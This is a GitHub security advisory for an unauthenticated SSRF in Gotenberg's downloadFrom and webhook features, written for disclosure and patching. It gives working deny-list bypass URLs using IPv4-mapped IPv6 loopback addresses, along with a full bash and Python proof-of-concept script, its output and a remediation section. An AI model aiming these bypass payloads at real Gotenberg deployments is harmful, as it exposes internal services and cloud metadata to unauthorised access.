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Gotenberg vulnerable to unauthenticated SSRF via default deny-list bypass in downloadFrom and webhook

Critical severity GitHub Reviewed Published Apr 30, 2026 in gotenberg/gotenberg • Updated May 14, 2026

Package

gomod github.com/gotenberg/gotenberg/v8 (Go)

Affected versions

<= 8.30.1

Patched versions

8.32.0

Description

Summary

The default deny-lists used by Gotenberg's downloadFrom feature and webhook feature are bypassable. Because the filter is regex-based and case-sensitive, an unauthenticated attacker can supply URLs such as http://[::ffff:127.0.0.1]:... and reach loopback or private HTTP services that the default deny-list is intended to block. This crosses a real security boundary because an external caller can force the server to make outbound requests to internal-only targets.

Details

The issue originates from the shipped default deny-list regexes and the way those regexes are applied:

  • pkg/modules/api/api.go:198-200 defines the default api-download-from-deny-list.
  • pkg/modules/webhook/webhook.go:41-43 defines the default webhook-deny-list.
  • pkg/gotenberg/filter.go:20-69 evaluates those patterns with regexp2 using case-sensitive matching.

The attacker-controlled URL then reaches outbound request sinks:

  • pkg/modules/api/context.go:208-282
    • Reads attacker-supplied downloadFrom.
    • Calls gotenberg.FilterDeadline(...).
    • Issues an outbound GET with retryablehttp.NewRequest(...) and client.Do(...).
  • pkg/modules/webhook/middleware.go:99-217
    • Reads Gotenberg-Webhook-Url and Gotenberg-Webhook-Events-Url.
    • Calls gotenberg.FilterDeadline(...).
    • Constructs a client for outbound delivery.
  • pkg/modules/webhook/client.go:39-152
    • Sends the success or error webhook request.
  • pkg/modules/webhook/client.go:155-216
    • Sends the webhook event request.

Why the bypass works:

  1. The default deny-list only blocks lowercase http:// and https:// prefixes.
  2. The filtering logic performs case-sensitive regex matching on the raw user input.
  3. Go's HTTP stack accepts multiple textual representations of loopback/private addresses that are not covered by the default regex, including IPv4-mapped IPv6 loopback like http://[::ffff:127.0.0.1]:18081/....
  4. As a result, a URL can fail the deny-list check but still be interpreted as a valid loopback/private destination by the outbound client.

Confirmed bypass used during verification:

  • http://[::ffff:127.0.0.1]:18081/page_1.pdf
  • http://[::ffff:127.0.0.1]:18082/upload
  • http://[::ffff:127.0.0.1]:18082/events

This is not the same issue as the previously published Chromium deny-list advisories. This finding affects the separate downloadFrom and webhook URL filtering paths.

PoC

One-command verification

From the repository root:

cd '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg'
./tmp/poc/verify_ssrf_poc.sh

What the script does:

  1. Builds or reuses a slim local Gotenberg image that contains only the modules needed for this proof.
  2. Starts Gotenberg on 127.0.0.1:3000.
  3. Starts an internal-only helper listener inside the same container network namespace.
  4. Verifies downloadFrom SSRF by forcing Gotenberg to fetch a PDF from http://[::ffff:127.0.0.1]:18081/page_1.pdf.
  5. Verifies webhook SSRF by forcing Gotenberg to POST to http://[::ffff:127.0.0.1]:18082/upload and http://[::ffff:127.0.0.1]:18082/events.
  6. Writes evidence artifacts to disk.

Expected success output:

[4/6] Verifying downloadFrom SSRF bypass with http://[::ffff:127.0.0.1]:18081/page_1.pdf
PASS downloadFrom: Gotenberg fetched an internal-only loopback URL and returned PDF metadata
[5/6] Verifying webhook SSRF bypass with http://[::ffff:127.0.0.1]:18082/upload
PASS webhook: Gotenberg POSTed to an internal-only loopback listener

Evidence files created by the script:

  • /Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/downloadfrom-metadata.json
  • /Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/webhook.log

Manual evidence commands

The following commands were run after the verifier completed successfully:

jq '.' '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/downloadfrom-metadata.json'
cat '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/webhook.log'

Observed output:

{
  "page_1.pdf": {
    "CreateDate": "2025:02:17 14:46:38+00:00",
    "FileType": "PDF",
    "FileTypeExtension": "pdf",
    "Linearized": "No",
    "MIMEType": "application/pdf",
    "ModifyDate": "2025:02:17 14:46:38+00:00",
    "PDFVersion": 1.7,
    "PageCount": 1,
    "Producer": "PDFTron built-in office converter, V11.2.0-d27340a176\n",
    "SourceFile": "/tmp/d924af59-709e-4d08-8ebc-dafec9048235/b0d0dcdc-84ff-4919-8fe6-f6bdbbd9a68a/eae4a9bc-e3e3-48e2-b5bd-114408d87d84.pdf"
  }
}
POST /upload len=4363 content-type=application/pdf
POST /events len=126 content-type=application/json

PoC Video:

https://github.com/user-attachments/assets/a70a4e09-e9a7-4df8-a9a5-77b09fbd59f3

Interpretation:

  • The JSON metadata proves Gotenberg successfully fetched and parsed a PDF from an internal loopback URL.
  • The webhook log proves Gotenberg sent outbound requests to internal loopback endpoints that should have been blocked by the default deny-list.

verify_ssrf_poc.sh

#!/usr/bin/env bash
set -euo pipefail

ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)"
IMAGE="${IMAGE:-gotenberg-local-ssrf-poc:minimal}"
DOCKERFILE="${DOCKERFILE:-$ROOT/tmp/poc/Dockerfile.minimal}"
GOTENBERG_NAME="${GOTENBERG_NAME:-gotenberg-ssrf-poc}"
HELPER_NAME="${HELPER_NAME:-gotenberg-ssrf-helper}"
PORT="${PORT:-3000}"
ARTIFACT_DIR="${ARTIFACT_DIR:-$ROOT/tmp/poc/artifacts}"
TEST_PDF="$ROOT/test/integration/testdata/page_1.pdf"
DOWNLOAD_JSON="$ARTIFACT_DIR/downloadfrom-metadata.json"
WEBHOOK_LOG="$ARTIFACT_DIR/webhook.log"
HELPER_SCRIPT="$ARTIFACT_DIR/internal_helper.py"
DOWNLOAD_BYPASS_URL="http://[::ffff:127.0.0.1]:18081/page_1.pdf"
WEBHOOK_UPLOAD_BYPASS_URL="http://[::ffff:127.0.0.1]:18082/upload"
WEBHOOK_EVENTS_BYPASS_URL="http://[::ffff:127.0.0.1]:18082/events"
PDF_ENGINE_FLAGS=(
  "--pdfengines-merge-engines=qpdf"
  "--pdfengines-split-engines=qpdf"
  "--pdfengines-flatten-engines=qpdf"
  "--pdfengines-convert-engines=qpdf"
  "--pdfengines-read-metadata-engines=exiftool"
  "--pdfengines-write-metadata-engines=exiftool"
  "--pdfengines-encrypt-engines=qpdf"
  "--pdfengines-embed-engines=qpdf"
  "--pdfengines-read-bookmarks-engines=qpdf"
  "--pdfengines-write-bookmarks-engines=qpdf"
  "--pdfengines-watermark-engines=qpdf"
  "--pdfengines-stamp-engines=qpdf"
  "--pdfengines-rotate-engines=qpdf"
)

red() { printf '\033[31m%s\033[0m\n' "$*"; }
green() { printf '\033[32m%s\033[0m\n' "$*"; }
blue() { printf '\033[34m%s\033[0m\n' "$*"; }

cleanup() {
  docker rm -f "$HELPER_NAME" >/dev/null 2>&1 || true
  docker rm -f "$GOTENBERG_NAME" >/dev/null 2>&1 || true
}

fail() {
  red "$1"
  printf '\n--- gotenberg logs ---\n'
  docker logs "$GOTENBERG_NAME" 2>/dev/null || true
  printf '\n--- helper logs ---\n'
  docker logs "$HELPER_NAME" 2>/dev/null || true
  exit 1
}

trap cleanup EXIT

mkdir -p "$ARTIFACT_DIR"
: > "$WEBHOOK_LOG"

if [[ ! -f "$TEST_PDF" ]]; then
  red "Missing test PDF: $TEST_PDF"
  exit 1
fi

if [[ ! -f "$DOCKERFILE" ]]; then
  red "Missing Dockerfile: $DOCKERFILE"
  exit 1
fi

if ! docker image inspect "$IMAGE" >/dev/null 2>&1; then
  blue "[1/6] Building slim verification image: $IMAGE"
  docker build -q -t "$IMAGE" -f "$DOCKERFILE" "$ROOT" >/dev/null
else
  blue "[1/6] Reusing existing image: $IMAGE"
fi

blue "[2/6] Starting minimal Gotenberg on http://127.0.0.1:$PORT"
cleanup
docker run -d --rm \
  --name "$GOTENBERG_NAME" \
  -p "$PORT:3000" \
  "$IMAGE" \
  --webhook-enable-sync-mode=true \
  "${PDF_ENGINE_FLAGS[@]}" >/dev/null

for _ in $(seq 1 45); do
  if curl -fsS "http://127.0.0.1:$PORT/health" >/dev/null 2>&1; then
    break
  fi
  sleep 1
done

if ! curl -fsS "http://127.0.0.1:$PORT/health" >/dev/null 2>&1; then
  fail "Gotenberg did not become healthy"
fi

cat > "$HELPER_SCRIPT" <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
from pathlib import Path
from threading import Event, Thread

PDF_PATH = Path("/srv/page_1.pdf")
LOG_PATH = Path("/work/webhook.log")
PDF_BYTES = PDF_PATH.read_bytes()


class DownloadHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "application/pdf")
        self.send_header("Content-Disposition", 'attachment; filename="page_1.pdf"')
        self.send_header("Content-Length", str(len(PDF_BYTES)))
        self.end_headers()
        self.wfile.write(PDF_BYTES)

    def log_message(self, fmt, *args):
        return


class WebhookHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        length = int(self.headers.get("Content-Length", "0"))
        body = self.rfile.read(length)
        with LOG_PATH.open("a", encoding="utf-8") as f:
            f.write(
                f"{self.command} {self.path} len={len(body)} "
                f"content-type={self.headers.get('Content-Type', '')}\n"
            )
        self.send_response(200)
        self.end_headers()

    do_PATCH = do_POST
    do_PUT = do_POST

    def log_message(self, fmt, *args):
        return


def serve(addr, handler):
    HTTPServer(addr, handler).serve_forever()


Thread(target=serve, args=(("127.0.0.1", 18081), DownloadHandler), daemon=True).start()
Thread(target=serve, args=(("127.0.0.1", 18082), WebhookHandler), daemon=True).start()

print("internal helper ready", flush=True)
Event().wait()
PY

blue "[3/6] Starting internal-only helper inside the same network namespace"
docker run -d --rm \
  --name "$HELPER_NAME" \
  --network "container:$GOTENBERG_NAME" \
  -v "$TEST_PDF:/srv/page_1.pdf:ro" \
  -v "$ARTIFACT_DIR:/work" \
  -v "$HELPER_SCRIPT:/app/internal_helper.py:ro" \
  python:3.11-alpine \
  python /app/internal_helper.py >/dev/null

for _ in $(seq 1 20); do
  if docker logs "$HELPER_NAME" 2>&1 | grep -q "internal helper ready"; then
    break
  fi
  sleep 1
done

if ! docker logs "$HELPER_NAME" 2>&1 | grep -q "internal helper ready"; then
  fail "Internal helper did not start"
fi

blue "[4/6] Verifying downloadFrom SSRF bypass with $DOWNLOAD_BYPASS_URL"
download_status="$(
  curl -sS \
    -o "$DOWNLOAD_JSON" \
    -w '%{http_code}' \
    -X POST "http://127.0.0.1:$PORT/forms/pdfengines/metadata/read" \
    -F "downloadFrom=[{\"url\":\"$DOWNLOAD_BYPASS_URL\"}]"
)"

if [[ "$download_status" != "200" ]]; then
  cat "$DOWNLOAD_JSON" 2>/dev/null || true
  fail "downloadFrom verification failed with HTTP $download_status"
fi

if ! jq -e 'has("page_1.pdf")' "$DOWNLOAD_JSON" >/dev/null 2>&1; then
  cat "$DOWNLOAD_JSON" || true
  fail "downloadFrom verification failed: expected metadata for page_1.pdf"
fi

green "PASS downloadFrom: Gotenberg fetched an internal-only loopback URL and returned PDF metadata"

blue "[5/6] Verifying webhook SSRF bypass with $WEBHOOK_UPLOAD_BYPASS_URL"
webhook_status="$(
  curl -sS \
    -o /dev/null \
    -w '%{http_code}' \
    -X POST "http://127.0.0.1:$PORT/forms/pdfengines/flatten" \
    -H "Gotenberg-Webhook-Url: $WEBHOOK_UPLOAD_BYPASS_URL" \
    -H "Gotenberg-Webhook-Events-Url: $WEBHOOK_EVENTS_BYPASS_URL" \
    -F "files=@$TEST_PDF"
)"

if [[ "$webhook_status" != "204" ]]; then
  fail "webhook verification failed with HTTP $webhook_status"
fi

if ! grep -q '^POST /upload ' "$WEBHOOK_LOG"; then
  cat "$WEBHOOK_LOG" || true
  fail "webhook verification failed: /upload was not hit"
fi

if ! grep -q '^POST /events ' "$WEBHOOK_LOG"; then
  cat "$WEBHOOK_LOG" || true
  fail "webhook verification failed: /events was not hit"
fi

green "PASS webhook: Gotenberg POSTed to an internal-only loopback listener"

blue "[6/6] Evidence files"
printf 'downloadFrom metadata: %s\n' "$DOWNLOAD_JSON"
printf 'webhook log:          %s\n' "$WEBHOOK_LOG"

printf '\n--- downloadFrom metadata excerpt ---\n'
jq '{filename_present: has("page_1.pdf"), sample_keys: (."page_1.pdf" | keys[0:6])}' "$DOWNLOAD_JSON"

printf '\n--- webhook log ---\n'
cat "$WEBHOOK_LOG"

printf '\n'
green "Verification complete"
printf 'Tip: the first run may take time because it builds and pulls images. For a 10-15 second video, run this script once to warm the cache, then record the second run.\n'

Impact

This is an unauthenticated SSRF vulnerability. Any user who can reach a Gotenberg instance can coerce it into making outbound HTTP requests to loopback and potentially other private/internal addresses despite the default deny-list. That can expose internal HTTP services, cloud metadata endpoints, local admin APIs, and service-to-service interfaces that are not intended to be reachable from the public network.

Affected users are operators who rely on the default downloadFrom and webhook deny-lists for SSRF protection. In practice, an attacker can:

  • Read content from internal HTTP endpoints through downloadFrom.
  • Trigger state-changing POST/PATCH/PUT requests through the webhook feature.
  • Reach services bound only to localhost from the perspective of the Gotenberg host or container.

Remediation

  1. Normalize and structurally validate URLs before any allow-list or deny-list decision.
    Parse with net/url, lowercase the scheme/host where appropriate, canonicalize bracketed IPv6 forms, strip trailing dots, and normalize IPv4-mapped IPv6 addresses before evaluation.

  2. Replace regex-only private-address filtering with resolved IP validation.
    Resolve the hostname, evaluate every resolved IP with net/netip, and block loopback, RFC1918, link-local, unspecified, ULA, multicast, and IPv4-mapped IPv6 private/loopback targets. Re-validate after redirects as well.

  3. Reconsider the security default for outbound URL features.
    Either disable downloadFrom and webhook by default, or ship a strict default policy that only allows http/https plus explicit operator allow-lists. If the feature remains enabled, apply the same canonicalization and IP checks consistently to downloadFrom, webhook, error URLs, and event URLs.

References

@gulien gulien published to gotenberg/gotenberg Apr 30, 2026
Published to the GitHub Advisory Database May 7, 2026
Reviewed May 7, 2026
Published by the National Vulnerability Database May 14, 2026
Last updated May 14, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(21st percentile)

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

CVE ID

CVE-2026-42596

GHSA ID

GHSA-4vmc-gm8v-m35h

Source code

Credits

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